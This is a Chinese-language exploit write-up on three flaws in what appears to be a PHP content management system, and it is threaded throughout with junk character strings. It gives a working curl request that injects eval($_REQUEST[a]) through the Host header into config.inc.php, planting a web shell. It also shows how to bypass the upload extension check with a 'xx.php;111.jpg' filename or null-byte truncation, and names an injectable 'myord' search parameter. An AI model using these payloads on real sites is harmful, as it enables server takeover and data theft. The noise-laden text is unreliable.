注入:
" r5 f9 F# V' E7 h
; [0 z1 ?: d3 e" L0 n7 L之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码! E, \( Y" z# ^ \
- x; f8 A& w. A- |6 B. |
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件5 Z: p0 e, R: i) r, R. J
鸡肋2: 有一定安全常识的站长都会删掉 install 目录! }5 r" T$ C4 Y b1 ?
9 P: |) u, d q* Y/ y虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响, R/ `& \5 }1 [$ b
# }" V% V5 h" ]7 E. r4 J分析:
; U. {( l/ z0 u9 t8 n' H ' H+ K# g+ F! d
4 _* D" f+ h+ F
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
" I+ Z2 `# m" |* G2 S2 j2 @7 B( | 8 ]4 g0 {; u. O: |: L
$filestr = fread(fopen($SysConfigFile, 'r'),30000);9 C$ Z3 Z! F% w6 U
$filestr=str_replace(" ","",$filestr); r5 ]9 M+ t7 A0 d- ?* V
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);: c5 k8 m5 ?5 n; q, T; o, M
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
4 V7 N8 O5 C" e* U7 z" H/ E $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ R2 ^4 c* k$ ~8 \7 @ $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
" o* q# h; }) E- w6 c; d $filestr=str_replace("DefaultsLan","zh_cn",$filestr);9 }; }! | `' P4 N- p, t% F
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
4 M' l% [/ H) u9 Q4 f* q/ p $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);. _1 T* V$ e5 I$ B3 ^
+ p# a! ?6 }5 P. q5 _ fwrite(fopen($ConFile,"w"),$filestr,30000);
7 F# v6 k# p% e+ K% `9 Z$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^' l$ L7 _* {+ S) \/ K
' B8 Q* F9 `8 J5 \ Cpoc:4 |6 }4 o. D6 L) H5 q$ j/ g
4 e8 n1 h; F, V?2 N3 w! {, R% I5 O& c% z
1
" f. @$ R( s2 Icurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"& i/ I7 Z% z6 P2 Z0 w: X
shell地址: /config.inc.php
: y, `3 \: g4 H; ?跟之前的 phpcms一样 需要远程数据库- b5 h+ s2 W6 Z0 S# m& S; @
2 R0 S* Q4 U' w$ Z——————————————————–
9 J: D# N) u1 B3 y7 x上传漏洞(需要进后台):+ Z) O$ O0 b: I& j, c- ?# W+ a/ q5 w2 p
漏洞文件: /kedit/upload_cgi/upload.php
3 X; g; P t% x- x! n这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用! l+ S t E$ f, Z2 e" B
, t4 |, F0 O2 h6 p$ G# S0 S* h2 X
R7 K: B' f* {, d: G8 V, y' `
<?php
) h; B% E" R" G$ h) @2 p) U define("ROOTPATH", "../../");
; S, o* P- R2 o- p& w6 G8 f! h3 p include(ROOTPATH."includes/admin.inc.php");: v+ B- b: o* G" s0 `
NeedAuth(0);
- j6 t' u$ v4 [ : f5 m: ?1 M4 q9 v
$dt=date("Ymd",time());/ w5 g! |- W4 o! R6 n' p
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
6 o" C0 P- @7 @3 `" z. p# w4 C* x( { @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
/ [9 L& ~. Q- \7 b5 t0 B9 B" D }
! }, O: O) D8 d' i/ A
; f, m7 N: S( H8 w. [. J# \ //文件保存目录路径3 n ?3 K2 N) K6 \+ b8 B$ V
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
; G, ^) X: q+ a) o& Z echo $save_path;
4 j- R- O' r7 [6 D8 @# ~ //文件保存目录URL
( e- w3 m7 \" O2 g$ ^ $save_url = '../../'.$_POST['attachPath'].$dt.'/';
% S! A8 e0 m2 K
3 @' A4 J1 ^' o6 C" O, X) D; i! p //定义允许上传的文件扩展名) H7 S7 R4 _4 j& X
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀+ X2 ~( E+ J |3 V O: V, @; X
4 K2 G; C9 J6 z' h/ ` //最大文件大小
/ d! J4 c7 K/ S& w5 {% u $max_size = 1000000;% o1 p+ W+ K$ p9 W" a" |
( J4 U+ t# l0 M8 |5 L; N //更改目录权限" c2 o$ E7 {! I2 n# \; N
@mkdir($save_path, 0777);! E! d5 `4 ^4 _- x O, d) y) z) B
$ T% G. K5 M/ Y3 f- p; V, L- [; _' z //文件的全部路径
+ {; L' Y5 J1 R $file_path = $save_path.$_POST['fileName']; //保存文件名" a, O3 z( {0 x' E" b
! _9 y4 f& h) D8 T- Q //文件URL9 ]% Y: {% D2 N O% Z) N, T
$file_url = $save_url.$_POST['fileName'];
" P/ P3 K% x9 q' s* U9 V3 H3 O& v//有上传文件时6 J* X' s$ B2 p9 H( I9 H
if (empty($_FILES) === false) {
# Z9 _8 x- Q6 O # q# [4 ^- Y) F1 @2 W. a
//原文件名& }0 L( o$ g/ F5 \" C
$file_name = $_FILES['fileData']['name'];
, t8 q) L1 y0 Y //服务器上临时文件名8 p3 c# u/ ^, q) g( k, I3 \5 j
$tmp_name = $_FILES['fileData']['tmp_name'];3 B( d$ ]+ W5 {/ T% S7 Z
//文件大小
# F9 C; N( n, v# |! l $file_size = $_FILES['fileData']['size'];. O) N: _* ]) q9 r2 C
//检查目录
, m8 ^, e1 j) V9 m, y( r+ V F+ Q if (@is_dir($save_path) === false) {
0 _. [: f! b. d$ z4 W alert("上传目录不存在。"); y. O, r7 ^! ~+ q
}
9 T2 }0 ^' k; n& x3 K* Z0 | //检查目录写权限" F' j# Y/ g$ {8 J
if (@is_writable($save_path) === false) {" _% I1 i: D; m$ n' t
alert("上传目录没有写权限。"); q' T: t3 t2 Y6 m5 ^! n7 D
}9 _# t' ^4 E$ E+ G( M/ b
//检查是否已上传6 z, p, n, Y7 M7 E7 x& d
if (@is_uploaded_file($tmp_name) === false) {
- X* a/ A( b+ x T! V alert("临时文件可能不是上传文件。");
5 s/ O1 p' T: Z* W }# A& X- B( F! E# k1 w+ y$ ?( D
//检查文件大小" P2 y* Q- p0 L- }! R8 l* i* Q" E3 d- D
if ($file_size > $max_size) {
1 v9 z# n+ S" Q0 D alert("上传文件大小超过限制。");* M# m9 u1 V' f9 V2 Z4 x) x
}7 ?. P8 q9 D, i& ^
//获得文件扩展名2 v; U0 S) d2 u
$temp_arr = explode(".", $_POST['fileName']);
' s" ~) V( N. Y7 R$ R; ~ $file_ext = array_pop($temp_arr);+ `) |5 r$ S8 ]1 q6 C2 w
$file_ext = trim($file_ext);
3 |0 g0 L9 `3 |3 Z $file_ext = strtolower($file_ext);) M7 `! u( l% J8 G/ r) ~( m
( X. @8 g2 d \6 p% H2 Q% z
//检查扩展名 . C0 a/ J: H: c8 [% }7 {
if (in_array($file_ext, $ext_arr) === false) { . o6 |/ }2 w3 v
alert("上传文件扩展名是不允许的扩展名。");$ n6 V; {* y& C: e6 L, r7 R7 t
}
; l; [2 |8 z* ~: @- e ; |1 I& u3 v/ P1 T" `" Q
//移动文件 ! T4 v' b e% q. W n$ k
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^' Q" q7 n$ f" W6 D2 G' ]- `
if (move_uploaded_file($tmp_name, $file_path) === false) {
( s2 a( T f( P4 O! T6 O alert("上传文件失败。");& @( l: F% X p& w$ |. K
}
2 c) I: w! l# X( T3 n& o3 \
1 C! v# h+ S+ V- l @chmod($file_path,0666);
6 V4 V( z( t( `) Q* C) Q
8 Q, ^% _8 A* ^6 t* M ?>6 ]% g Z! s4 \3 |
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
) B; Y) ?5 p2 c* ^+ Z5 i ) Y. Y" w4 A" C0 d' ~/ z. q+ t f
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过+ C' c$ O$ r) X3 P4 ?5 N2 E6 Z
/ X5 D- ~# c& I——————————————————
# V7 _9 |' T& t3 N2 }0 Z注入漏洞:; \ A) w* Q3 K/ F+ D( k
漏洞文件:search/module/search.php
# o8 n* l8 B+ ^. p/ |) }/search/index.php?key=1&myord=1 [sqlinjection]' M5 [$ m6 x6 i- o: v- E: U
: g7 N7 _& x2 E! m! k
2 B6 n0 ?3 K' E6 c1 d" X<?php
% G* a, b$ m8 W4 _/ R9 f // ... 省略 n 行...
7 z4 ^- M: h. k6 \1 c$ b ~7 B5 @ //第18行:: B1 z- ?4 b- _* b4 S0 f( d
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
g# ~# F" m2 _# ]' l& P $page=htmlspecialchars($_GET["page"]);
% R$ o5 a' @3 l' n $myord=htmlspecialchars($_GET["myord"]);9 W3 ]3 Q: b4 A) S1 K
/ L2 d; G6 l; t4 I. I // ... 省略 n 行...6 B; z4 ]: d/ V" K
$key,$myord 两个参数带入查询
2 [, s# m& k( ~6 v //第47行 $key:
6 H* }, |3 B/ C/ [4 r) }0 ` y8 {# h n. S0 ^
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..; }, I8 e- T- B; R" ~* z. B% m
7 N% M, b& R" ~8 M$ _
//第197行 $myord
2 @; z% }4 I: [4 K+ n8 w; v $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
6 h C. O( ?- f( j) I3 x3 Y% D
! ~) [4 O& [5 \ ?>
7 t. _7 Q. A: x |